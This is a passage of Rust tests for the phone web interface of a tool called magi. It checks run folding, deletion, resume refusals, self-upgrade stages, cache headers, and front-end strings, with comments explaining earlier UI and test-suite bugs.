6179        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
6180
6181        // 4. Two-step delete arming and focus on Cancel
6182        assert!(APP_JS.contains("cancel.focus"));
6183        assert!(APP_JS.contains("armedRunDelete"));
6184        assert!(APP_JS.contains("armedDelete"));
6185
6186        // 5. Running task has disabled delete
6187        assert!(APP_JS.contains("disabled: status === \"running\""));
6188    }
6189
6190    /// Every element a run card's updater reaches for must be in the `refs`
6191    /// the builder handed it.
6192    ///
6193    /// `createRunCard` builds its elements, appends them to the card, and then
6194    /// lists them again in `row.refs`. That second list is the one the updater
6195    /// uses, and nothing connects the two - an element can be built, appended
6196    /// and rendered, and still be missing from `refs`. `superseded` was, for
6197    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
6198    /// exception took `syncList` with it, and the deck showed
6199    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
6200    /// line is computed before the cards, which is why the failure looked like
6201    /// a server that had lost its runs rather than a front end that had
6202    /// stopped rendering them.
6203    ///
6204    /// A `cargo test` cannot execute the front end, so this reads the two
6205    /// halves out of the source and compares them as sets. It is not a check
6206    /// on the wording of either list: adding an element, renaming one, or
6207    /// reordering them all keeps this passing, and only using one the builder
6208    /// never published fails it.
6209    #[test]
6210    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
6211        let build = APP_JS
6212            .find("function createRunCard")
6213            .expect("createRunCard exists");
6214        let update = APP_JS
6215            .find("function updateRunCard")
6216            .expect("updateRunCard exists");
6217        let end = APP_JS
6218            .find("function renderRuns")
6219            .expect("renderRuns exists");
6220
6221        // The builder's published set: the object literal assigned to `refs`.
6222        let builder = &APP_JS[build..update];
6223        let open = builder.find("refs = {").expect("createRunCard sets refs");
6224        let literal = &builder[open + "refs = {".len()..];
6225        let close = literal.find('}').expect("the refs literal is closed");
6226        let published: HashSet<&str> = literal[..close]
6227            .split(',')
6228            // `name` and `name: value` both bind `name`.
6229            .filter_map(|entry| entry.split(':').next())
6230            .map(str::trim)
6231            .filter(|name| !name.is_empty())
6232            .collect();
6233        assert!(
6234            published.len() > 5,
6235            "the refs literal did not parse into names: {published:?}"
6236        );
6237
6238        // What the updaters reach for: every `r.<name>`, where `r` is the
6239        // `const r = row.refs` alias both functions open with.
6240        let mut used: Vec<&str> = Vec::new();
6241        let updaters = &APP_JS[update..end];
6242        for (at, _) in updaters.match_indices("r.") {
6243            // `r` must be the whole identifier, not the tail of another one
6244            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
6245            let before = updaters[..at].chars().next_back();
6246            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
6247                continue;
6248            }
6249            let rest = &updaters[at + 2..];
6250            let len = rest
6251                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
6252                .unwrap_or(rest.len());
6253            if len > 0 {
6254                used.push(&rest[..len]);
6255            }
6256        }
6257        assert!(
6258            used.len() > 5,
6259            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
6260        );
6261
6262        let missing: Vec<&str> = used
6263            .iter()
6264            .copied()
6265            .filter(|name| !published.contains(name))
6266            .collect();
6267        assert!(
6268            missing.is_empty(),
6269            "a run card's updater reaches for {missing:?}, which `createRunCard` \
6270             never put in `refs` - every card will throw and the list will \
6271             render empty under a count line that says otherwise. Published: \
6272             {published:?}"
6273        );
6274    }
6275
6276    #[tokio::test]
6277    async fn folding_from_the_phone_reports_what_it_removed() {
6278        let fx = Fixture::start().await;
6279        let runs = fx.runs();
6280
6281        // A run with no candidates has nothing to fold, which is a 200 with an
6282        // honest count rather than an error: the operator asked for the trees
6283        // to be gone and they are.
6284        let id = "20260901-000000-fold";
6285        write_run(&runs, id, RunStatus::Stalled);
6286        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6287        assert_eq!(res.status, 200);
6288        assert_eq!(res.json()["removed_count"], 0);
6289        assert_eq!(res.json()["run"], id);
6290        assert!(
6291            runs.join(id).exists(),
6292            "a fold keeps the run's record; only the worktrees go"
6293        );
6294    }
6295
6296    #[tokio::test]
6297    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
6298        let fx = Fixture::start().await;
6299        let runs = fx.runs();
6300        let wt = fx.home.path().join("wt").join("magi").join("dead");
6301        let id = "20260901-000000-dead";
6302        std::fs::create_dir_all(runs.join(id)).expect("run dir");
6303        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6304        std::fs::create_dir_all(&wt).expect("worktree dir");
6305
6306        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6307        assert_eq!(res.status, 200, "{}", res.body);
6308        assert!(
6309            res.json()["removed_count"].as_u64().unwrap() > 0,
6310            "the worktree this build could not read a state for still went"
6311        );
6312        assert!(
6313            !runs.join(id).exists(),
6314            "an unreadable run has no candidate list to fold selectively, so \
6315             the whole record goes - same as `magi fold` on the CLI"
6316        );
6317    }
6318
6319    #[tokio::test]
6320    async fn deleting_an_unreadable_run_removes_it_wholesale() {
6321        let fx = Fixture::start().await;
6322        let runs = fx.runs();
6323        let wt = fx.home.path().join("wt").join("magi").join("gone");
6324        let id = "20260901-000000-gone";
6325        std::fs::create_dir_all(runs.join(id)).expect("run dir");
6326        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6327        std::fs::create_dir_all(&wt).expect("worktree dir");
6328
6329        let res = fx.delete(&format!("/api/runs/{id}")).await;
6330        assert_eq!(res.status, 204, "{}", res.body);
6331        assert!(!runs.join(id).exists(), "the broken record is gone");
6332        assert!(!wt.exists(), "its worktree is gone too");
6333    }
6334
6335    #[tokio::test]
6336    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
6337        let fx = Fixture::start().await;
6338        let runs = fx.runs();
6339        let id = "20260901-000000-live";
6340        write_run(&runs, id, RunStatus::Implementing);
6341
6342        let mut beat = crate::daemon::Status::new();
6343        beat.current = Some(crate::daemon::Current {
6344            task: "20260901-000000-task".to_owned(),
6345            run: id.to_owned(),
6346        });
6347        beat.updated_at = jiff::Timestamp::now();
6348        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6349            .expect("publish a heartbeat");
6350
6351        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6352        assert_eq!(res.status, 409);
6353        assert!(
6354            res.json()["error"]
6355                .as_str()
6356                .unwrap()
6357                .contains("live daemon"),
6358            "folding under a running agent would pull its worktree away"
6359        );
6360    }
6361
6362    #[tokio::test]
6363    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
6364        let fx = Fixture::start().await;
6365        let runs = fx.runs();
6366
6367        // Only a finished run and a failed one. An *interrupted* run - a
6368        // parked one, or one whose daemon was killed mid-node - is the case
6369        // resuming exists for: run 4043 sat at `reviewing` with the deck
6370        // saying it could not be resumed, which was the one state where
6371        // resuming was the only sensible answer.
6372        for (status, word) in [
6373            (RunStatus::Merged, "merged"),
6374            (RunStatus::Ready, "ready"),
6375            (RunStatus::Failed, "failed"),
6376        ] {
6377            let id = format!("20260901-000000-{}", &word[..4]);
6378            write_run(&runs, &id, status);
6379            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
6380            assert_eq!(res.status, 409, "{word} must not be resumable");
6381            let err = res.json()["error"].as_str().unwrap().to_owned();
6382            assert!(err.contains(word), "the refusal names the status: {err}");
6383        }
6384
6385        // And an interrupted run is accepted: 202, with the resume running in
6386        // the background. `Runner::resume` fails immediately here - the
6387        // fixture's run points at a repository that does not exist - which is
6388        // the point: the handler must not wait for it to find out.
6389        let mid = "20260901-000000-midf";
6390        write_run(&runs, mid, RunStatus::Reviewing);
6391        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
6392        assert_eq!(res.status, 202, "an interrupted run is resumable");
6393    }
6394
6395    #[tokio::test]
6396    async fn resume_is_refused_while_the_loop_is_running() {
6397        let fx = Fixture::start().await;
6398        let runs = fx.runs();
6399        let stalled = "20260901-000000-stal";
6400        write_run(&runs, stalled, RunStatus::Stalled);
6401
6402        // The loop is busy with a *different* run, and that is still a refusal:
6403        // one competition at a time is the point, not one per run.
6404        let mut beat = crate::daemon::Status::new();
6405        beat.current = Some(crate::daemon::Current {
6406            task: "20260901-000000-task".to_owned(),
6407            run: "20260901-000000-othr".to_owned(),
6408        });
6409        beat.updated_at = jiff::Timestamp::now();
6410        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6411            .expect("publish a heartbeat");
6412
6413        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
6414        assert_eq!(res.status, 409);
6415        let err = res.json()["error"].as_str().unwrap().to_owned();
6416        assert!(err.contains("othr"), "it names what the loop is on: {err}");
6417        assert!(err.contains("one competition at a time"), "{err}");
6418    }
6419
6420    #[test]
6421    fn a_run_cannot_be_resumed_twice_at_once() {
6422        let home = TempDir::new().expect("temp home");
6423        let ui = Ui::new(
6424            Queue::at(home.path().join("queue")),
6425            Questions::at(home.path().join("questions")),
6426            Chats::at(home.path().join("chats")),
6427            Talks::at(home.path().join("talks")),
6428            home.path().join("runs"),
6429            home.path().to_path_buf(),
6430            PathBuf::from("/repo"),
6431        )
6432        .with_worktrees_root(home.path().join("wt"));
6433        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
6434        let again = ui.begin_resume("20260901-000000-once");
6435        assert!(again.is_err(), "a second tap must not start a second graph");
6436        drop(first);
6437        assert!(
6438            ui.begin_resume("20260901-000000-once").is_ok(),
6439            "and the claim is released when the attempt ends"
6440        );
6441    }
6442
6443    #[test]
6444    fn refreshing_a_conversation_never_navigates_to_it() {
6445        // Reproduced on the deck: send a turn in one conversation, open
6446        // another, and ten seconds later the transcript on screen was the
6447        // first one while the address bar still named the second.
6448        // `tickWait`'s insurance calls `loadChat` for the *waiting* chat, and
6449        // `loadChat` opened by assigning `state.chatDetail`, so a refresh was
6450        // a navigation.
6451        let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
6452            ..APP_JS.find("async function startChat(").expect("startChat")];
6453        assert!(
6454            !body.contains("state.chatDetail = {"),
6455            "loadChat must not decide which conversation is on screen: {body}"
6456        );
6457        assert!(
6458            body.contains("if (state.chatDetail.id !== id) return;"),
6459            "it returns instead of drawing a chat the operator is not reading"
6460        );
6461
6462        // The turn still has to be settled from there, and before that check,
6463        // because the insurance exists for a reply that lands while the
6464        // operator is elsewhere - otherwise the wait strip runs forever.
6465        assert!(
6466            body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
6467            "settle the turn before the on-screen check"
6468        );
6469
6470        // Choosing the conversation on screen belongs to the router.
6471        let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
6472        assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
6473    }
6474
6475    #[tokio::test]
6476    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
6477        let fx = Fixture::start().await;
6478        // Somebody else's `magi serve` owns the queue. Replacing this binary
6479        // would leave that process running an old one against the same
6480        // claims, which is worse than refusing.
6481        let mut beat = crate::daemon::Status::new();
6482        beat.pid = 4321;
6483        beat.updated_at = jiff::Timestamp::now();
6484        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6485            .expect("publish a heartbeat");
6486
6487        let res = fx.post("/api/upgrade", None).await;
6488        assert_eq!(res.status, 409);
6489        let err = res.json()["error"].as_str().unwrap().to_owned();
6490        assert!(err.contains("4321"), "the refusal names the owner: {err}");
6491        assert!(err.contains("old one against the same queue"), "{err}");
6492    }
6493
6494    #[tokio::test]
6495    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
6496        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
6497        // and the route answers from its own logic.
6498        //
6499        // This test used to lean on the fixture's placeholder repo failing
6500        // config discovery, which left `mode = "notify"` - and a live,
6501        // unauthenticated call to the GitHub releases API inside a unit test.
6502        // GitHub allows 60 of those an hour per address, so the suite went red
6503        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
6504        // long as somebody kept re-running it: every attempt spent another
6505        // request. Six reruns across four pull requests were charged to that
6506        // before it was read as a rate limit rather than a flake.
6507        //
6508        // What the assertion is about is the "already current" branch, which
6509        // is reached by there being no newer release *or* nowhere to look. The
6510        // second one needs no network and cannot be rate limited.
6511        let repo = TempDir::new().expect("repo dir");
6512        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6513            .expect("write magi.toml");
6514        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6515
6516        // It must answer 200 and leave the process alone: restarting for an
6517        // upgrade that did not happen parks the run in flight and drops every
6518        // connection to pay for nothing. A probe against a deck already on the
6519        // newest build did exactly that, which is how this case got its own
6520        // branch.
6521        let res = fx.post("/api/upgrade", None).await;
6522        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
6523        let body = res.json();
6524        assert!(body["to"].is_null(), "there was no release to move to");
6525        assert!(body["parked"].is_null(), "and nothing was parked");
6526        assert!(
6527            body["detail"]
6528                .as_str()
6529                .unwrap()
6530                .contains("nothing restarted"),
6531            "{body:?}"
6532        );
6533    }
6534
6535    #[tokio::test]
6536    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
6537        // `mode = "off"` for the same reason as the test above: a default
6538        // fixture repo falls back to `mode = "notify"`, which would make this
6539        // route's new `update` field a live, unauthenticated GitHub call on
6540        // every assertion in this suite that happens to hit `/api/health`.
6541        let repo = TempDir::new().expect("repo dir");
6542        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6543            .expect("write magi.toml");
6544        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6545
6546        let health = fx.get("/api/health").await.json();
6547        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
6548        assert_eq!(
6549            health["update"]["available"], false,
6550            "checking is off, which reads as \"unknown\", not \"none\""
6551        );
6552        assert!(health["update"]["to"].is_null());
6553        assert!(
6554            health["upgrade"].is_null(),
6555            "nothing has ever asked this deck to upgrade"
6556        );
6557    }
6558
6559    #[tokio::test]
6560    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
6561        let fx = Fixture::start().await;
6562        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
6563
6564        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6565        progress.parked_run = Some("20260905-000000-cd51".to_owned());
6566        progress.advance(crate::updater::Stage::Parking);
6567        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6568
6569        let health = fx.get("/api/health").await.json();
6570        assert_eq!(health["upgrade"]["stage"], "parking");
6571        assert_eq!(health["upgrade"]["from"], "0.5.1");
6572        assert_eq!(health["upgrade"]["to"], "0.5.2");
6573        let waiting_on = health["upgrade"]["waiting_on"]
6574            .as_str()
6575            .expect("waiting_on is set while parking a known run");
6576        assert!(waiting_on.contains("cd51"), "{waiting_on}");
6577        assert!(waiting_on.contains("implementing"), "{waiting_on}");
6578    }
6579
6580    #[tokio::test]
6581    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
6582        let fx = Fixture::start().await;
6583        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6584        progress.advance(crate::updater::Stage::Done);
6585        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6586
6587        let health = fx.get("/api/health").await.json();
6588        assert_eq!(health["upgrade"]["stage"], "done");
6589        assert!(
6590            health["upgrade"]["waiting_on"].is_null(),
6591            "nothing to wait on once it is done"
6592        );
6593    }
6594
6595    #[tokio::test]
6596    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
6597        let home = TempDir::new().expect("temp home");
6598        let runs = home.path().join("runs");
6599        std::fs::create_dir_all(&runs).expect("runs dir");
6600        let ui = Ui::new(
6601            Queue::at(home.path().join("queue")),
6602            Questions::at(home.path().join("questions")),
6603            Chats::at(home.path().join("chats")),
6604            Talks::at(home.path().join("talks")),
6605            runs,
6606            home.path().to_path_buf(),
6607            PathBuf::from("/repo/magi"),
6608        )
6609        .with_launch(launch_idle);
6610        let looping = ui.looping();
6611        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6612            .await
6613            .expect("bind loopback");
6614        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6615
6616        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6617        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
6618
6619        hand_over(home.path(), &looping, served, || Ok(()))
6620            .await
6621            .expect("hand over");
6622
6623        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
6624        assert_eq!(
6625            after.stage,
6626            crate::updater::Stage::Restarting,
6627            "hand_over owns the record through parking and up to restarting; \
6628             the successor is what finishes it"
6629        );
6630    }
6631
6632    #[test]
6633    fn the_upgrade_button_arms_before_it_restarts_anything() {
6634        // It ends the process the operator is talking to, and a phone in a
6635        // pocket taps things. One tap arms, the second commits.
6636        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
6637        assert!(APP_JS.contains("Replace the binary and restart?"));
6638        assert!(APP_JS.contains("function confirmed("));
6639        // Hidden when the loop is somebody else's, matching the 409 above -
6640        // and hidden with nothing to install, matching the 200 "already
6641        // current" branch: an operator on the newest build must not be
6642        // offered a restart that would only park a run for nothing.
6643        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
6644        // A park waits for the node in flight, up to an hour for an implement
6645        // wave. Leaving the button reading "Upgrading…" for that long is the
6646        // same mistake as an error rendered off screen: it looks wedged.
6647        assert!(
6648            APP_JS.contains("Parking, then restarting"),
6649            "the button says what it is waiting for"
6650        );
6651        // And nothing to install must give the button back rather than
6652        // pretending a restart is coming.
6653        assert!(APP_JS.contains("if (!out.to)"));
6654    }
6655
6656    #[test]
6657    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
6658        assert!(
6659            APP_JS.contains("state.health.version"),
6660            "the operator wants to know what is running even with nothing newer"
6661        );
6662        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
6663    }
6664
6665    #[test]
6666    fn the_upgrade_button_names_its_destination() {
6667        assert!(
6668            APP_JS.contains("`Update to ${update.to}`"),
6669            "pressing the button should not be a surprise about what it moves to"
6670        );
6671    }
6672
6673    #[test]
6674    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
6675        for stage in ["downloading", "replaced", "parking", "restarting"] {
6676            assert!(
6677                APP_JS.contains(&format!("\"{stage}\"")),
6678                "the phone must be able to tell {stage} apart from the others"
6679            );
6680        }
6681        assert!(APP_JS.contains(".waiting_on"));
6682        // What replaced the bare "Cannot reach magi: Failed to fetch": a
6683        // fetch failing while an upgrade is in flight is not an error, it is
6684        // the sub-second gap `bind_waiting` covers, and it must not be
6685        // reported as one.
6686        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
6687        assert!(APP_JS.contains("reconnects on its own"));
6688    }
6689
6690    #[test]
6691    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
6692        // `Stage::Failed` is terminal on the server and nothing clears it on
6693        // its own - not a fresh start, not time passing - so a full-strip
6694        // takeover for it (the way the busy stages take the strip over,
6695        // correctly, because those are transient) would have hidden
6696        // start/stop/park behind an upgrade notice with no way back short of
6697        // a person editing `upgrade.json` by hand or a later release
6698        // happening to succeed. The failure must instead ride along as a note
6699        // next to whatever control the loop's own state already offers.
6700        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
6701            ..APP_JS.find("function upgrade(").expect("upgrade")];
6702        assert!(
6703            !body.contains(
6704                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
6705            ),
6706            "a failed upgrade must not take the whole strip over the way it used to"
6707        );
6708        assert!(
6709            body.contains("upgradeFailNote"),
6710            "the failure has to reach the loop's own note instead"
6711        );
6712        // `quiet` and `control` are the only two places `loop-why` is set from
6713        // this function's own state; both must carry the note through, or a
6714        // future edit to either one would silently drop it again.
6715        assert_eq!(
6716            body.matches("upgradeFailNote].filter(Boolean).join")
6717                .count(),
6718            2,
6719            "both loop-why writers (quiet and control) must fold the note in"
6720        );
6721    }
6722
6723    #[test]
6724    fn an_overdue_upgrade_eventually_asks_for_a_human() {
6725        // The ceiling has to clear a full hour-long park with room to spare,
6726        // or an ordinary implement wave would be reported as a stuck upgrade.
6727        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
6728        assert!(APP_JS.contains("function upgradeOverdue("));
6729    }
6730
6731    #[test]
6732    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
6733        assert!(
6734            APP_JS.contains("Updated to ${upgradeInfo.to"),
6735            "the operator who asked for the restart wants to know it worked"
6736        );
6737    }
6738
6739    #[test]
6740    fn an_error_is_visible_from_where_the_button_is() {
6741        // The alert used to sit in the flow under the header. On a phone
6742        // scrolled 13 500 px down to a run's action sheet that is off screen,
6743        // so tapping Resume and being told "the loop is running run b455
6744        // right now" looked exactly like a button that did nothing.
6745        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
6746            ..APP_CSS.find(".alert-text").expect(".alert-text")];
6747        assert!(
6748            alert.contains("position: fixed"),
6749            "an error about the thing under your thumb has to be visible from \
6750             where your thumb is: {alert}"
6751        );
6752        assert!(
6753            alert.contains("z-index: 25"),
6754            "above the dock (20) and the run-actions FAB (15), so neither \
6755             buries it: {alert}"
6756        );
6757        assert!(
6758            alert.contains("var(--tap)"),
6759            "and clear of the dock and the home indicator: {alert}"
6760        );
6761        // The FAB sits at the same height on the right. An error that covered
6762        // it would hide the button the operator reaches for next.
6763        assert!(
6764            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
6765            "the FAB's column stays free: {alert}"
6766        );
6767    }
6768
6769    #[tokio::test]
6770    async fn an_older_attempt_says_what_replaced_it() {
6771        let fx = Fixture::start().await;
6772        let q = fx.queue();
6773        let runs = fx.runs();
6774        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
6775        write_run(&runs, first, RunStatus::Stalled);
6776        write_run(&runs, second, RunStatus::Blocked);
6777
6778        let mut t = Task::new(
6779            "one task".to_owned(),
6780            "do it".to_owned(),
6781            PathBuf::from("/repo"),
6782            Source::Human,
6783        );
6784        t.runs = vec![first.to_owned(), second.to_owned()];
6785        q.put(&mut t).expect("put");
6786
6787        // Two cards with the same title and no hint which is which was the
6788        // question: "why are there two of the same, one stalled and one
6789        // blocked?" The older one now names its replacement.
6790        let rows = fx.get("/api/runs").await.json();
6791        let by = |short: &str| -> Value {
6792            rows.as_array()
6793                .unwrap()
6794                .iter()
6795                .find(|r| r["short"] == short)
6796                .cloned()
6797                .unwrap_or(Value::Null)
6798        };
6799        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
6800        assert!(
6801            by("bbbb")["superseded_by"].is_null(),
6802            "the latest attempt is not superseded by anything"
6803        );
6804        // Front end: the note has to be rendered, not just carried.
6805        assert!(APP_JS.contains("run.superseded_by"));
6806        assert!(APP_JS.contains("Superseded by"));
6807    }
6808
6809    #[tokio::test]
6810    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
6811        let fx = Fixture::start().await;
6812        // No cache header at all meant browsers invented their own policy,
6813        // and one did: a phone went on showing "Candidates must be folded
6814        // before deleting. Run `magi fold` first." - deleted two releases
6815        // earlier - from a deck that no longer contained the sentence. The
6816        // button it named was right there, and unreachable.
6817        let js = fx.get("/app.js").await;
6818        assert_eq!(js.status, 200);
6819        let tag = js
6820            .header("etag")
6821            .expect("an etag to revalidate against")
6822            .to_owned();
6823        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
6824        assert_eq!(
6825            js.header("cache-control"),
6826            Some("no-cache, must-revalidate"),
6827            "the phone has to ask every time"
6828        );
6829
6830        // And the asking has to be cheap, or `must-revalidate` just means
6831        // "send the whole interface on every load".
6832        let again = fx
6833            .get_with("/app.js", &[("if-none-match", tag.as_str())])
6834            .await;
6835        assert_eq!(
6836            again.status, 304,
6837            "a deck it already has costs one round trip"
6838        );
6839        assert!(again.body.is_empty(), "304 carries no body");
6840
6841        // A weakened tag from a proxy still matches; a different build does
6842        // not, which is the case that has to deliver the new interface.
6843        let weak = fx
6844            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
6845            .await;
6846        assert_eq!(weak.status, 304);
6847        let stale = fx
6848            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
6849            .await;
6850        assert_eq!(stale.status, 200, "an older build must be replaced");
6851        assert!(stale.body.contains("renderRunActions"));
6852    }
6853
6854    #[test]
6855    fn the_deck_never_sends_the_operator_to_a_terminal() {
6856        // The whole point of the phone UI is that a terminal is not needed.
6857        // The delete control used to answer with "Run `magi fold` first."
6858        assert!(
6859            !APP_JS.contains("Run `magi fold` first"),
6860            "the deck must offer the fold, not prescribe a shell command"
6861        );
6862        assert!(APP_JS.contains("foldRun:"));
6863        assert!(APP_JS.contains("resumeRun:"));
6864        assert!(APP_JS.contains("renderRunActions"));
6865
6866        // Folding is destructive and armed in two steps, like deleting.
6867        assert!(APP_JS.contains("armedFold"));
6868        assert!(APP_JS.contains("Yes, fold worktrees"));
6869
6870        // And the copy has to say that the two actions are opposites, because
6871        // folding throws away exactly what a resume would continue from.
6872        assert!(APP_JS.contains("can no longer be resumed"));
6873    }
6874
6875    #[test]
6876    fn a_finished_run_explains_itself_with_its_own_last_line() {
6877        // The deck used to answer "why did this stop?" with a sentence chosen
6878        // by status alone. Run e633 stalled because two judges answered with
6879        // the wrong JSON shape and its card said "The panel collapsed on
6880        // agent quota" - with `quota: []` in the record and a quota-loss
6881        // counter right above it that correctly said nothing.
6882        assert!(
6883            !APP_JS.contains("collapsed on agent quota"),
6884            "a stall must not be explained by a cause the deck did not check"
6885        );
6886        assert!(
6887            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
6888            "and a block must not offer a guess with an `or` in it"
6889        );
6890
6891        // The reason it does have is `run.event`, which must reach finished
6892        // runs: gating it on movement hid the recorded truth at the one moment
6893        // the operator is reading the card to find out what happened.
6894        assert!(
6895            APP_JS.contains("setText(r.event, run.event || \"\")"),
6896            "the run's last line is rendered unconditionally"
6897        );
6898        assert!(
6899            !APP_JS.contains("moving && run.event"),
6900            "and never gated on the run still moving"
6901        );
6902
6903        // Quota keeps its own counter, fed by the number actually recorded.
6904        assert!(APP_JS.contains("lost to quota"));
6905    }
6906}